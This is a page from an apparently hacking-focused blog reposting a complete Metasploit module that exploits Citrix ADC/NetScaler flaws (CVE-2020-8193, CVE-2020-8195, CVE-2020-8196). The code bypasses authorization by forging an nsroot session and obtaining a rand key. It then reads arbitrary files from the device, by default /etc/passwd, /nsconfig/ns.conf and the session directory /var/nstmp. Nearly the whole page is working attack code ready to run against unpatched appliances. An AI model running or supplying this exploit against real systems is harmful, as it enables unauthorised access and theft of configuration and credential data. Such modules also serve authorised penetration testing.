Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86395608

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',
      'Description'    => %{
        The remote device is affected by multiple vulnerabilities.

        An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.
        An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit
        this to bypass authorization (CVE-2020-8193).

        And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.
      },
      'Author'         => [
        'Donny Maasland', # Discovery
        'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
      ],
      'References'     => [
        ['CVE', '2020-8193'],
        ['CVE', '2020-8195'],
        ['CVE', '2020-8196'],
        ['URL', 'https://dmaasland.github.io/posts/citrix.html'],
        ['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],
        ['URL', 'https://github.com/jas502n/CVE-2020-8193']
      ],
      'DisclosureDate' => '2020-07-09',
      'License'        => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true
      }
    ))

    register_options([
      OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),
      OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def create_session
    params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1'

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}",
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)
      },
      'data' => '<appfwprofile><login></login></appfwprofile>'
    }
    request = request.merge({'cookie' => @cookie}) if @cookie

    response = send_request_raw(request)
    unless response && response.code == 406
      print_error("#{@message_prefix} - No response to session request.")
      return
    end

    response.get_cookies
  end

  def fix_session_rand
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),
      'cookie' => @cookie,
      'vars_get' => {
        'sid' => 'nsroot',
        'username' => 'nsroot',
        'force_setup' => '1'
      }
    )

    if response && response.code == 302
      location = response.headers['location']

      response = send_request_cgi(
        'method' => 'GET',
        'uri' => location,
        'cookie' => @cookie
      )

      return unless response && response.code == 200
    end

    response.to_s.scan(/rand = "([^"]+)"/).join
  end

  def read_lfi(path, var_rand)
    params = "filter=path:#{path}"

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",
      'cookie' => @cookie,
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),
        'rand_key' => var_rand
      },
      'data' => '<clipermission></clipermission>'
    }

    response = send_request_raw(request)
  end

  def run_host(ip)
    proto = (datastore['SSL'] ? 'https' : 'http')
    @message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"

    @cookie = create_session
    if @cookie && @cookie =~ /SESSID/
      print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")

      var_rand = fix_session_rand
      unless var_rand
        print_error("#{@message_prefix} - Unable to get rand value.")
        return Exploit::CheckCode::Unknown
      end
      print_status("#{@message_prefix} - Got rand: #{var_rand}")

      print_status("#{@message_prefix} - Re-breaking session...")
      create_session

      case datastore['MODE']
      when /discovery/
        response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)
        if response.code == 406
          if response.body.include? ('root:*:0:0:')
            print_warning("#{@message_prefix} - Vulnerable.")

            return Exploit::CheckCode::Vulnerable
          end
        end
      when /interactive/
        # TODO: parse response
        response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)
        if response.code == 406
          print_line("#{response.body}")
        end

        return
      when /sessions/
        # TODO: parse response
        response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)
        if response.code == 406
          print_line("#{response.body}")
        end

        return
      end
    end
    print_good("#{@message_prefix} - Not Vulnerable.")

    return Exploit::CheckCode::Safe
  end

end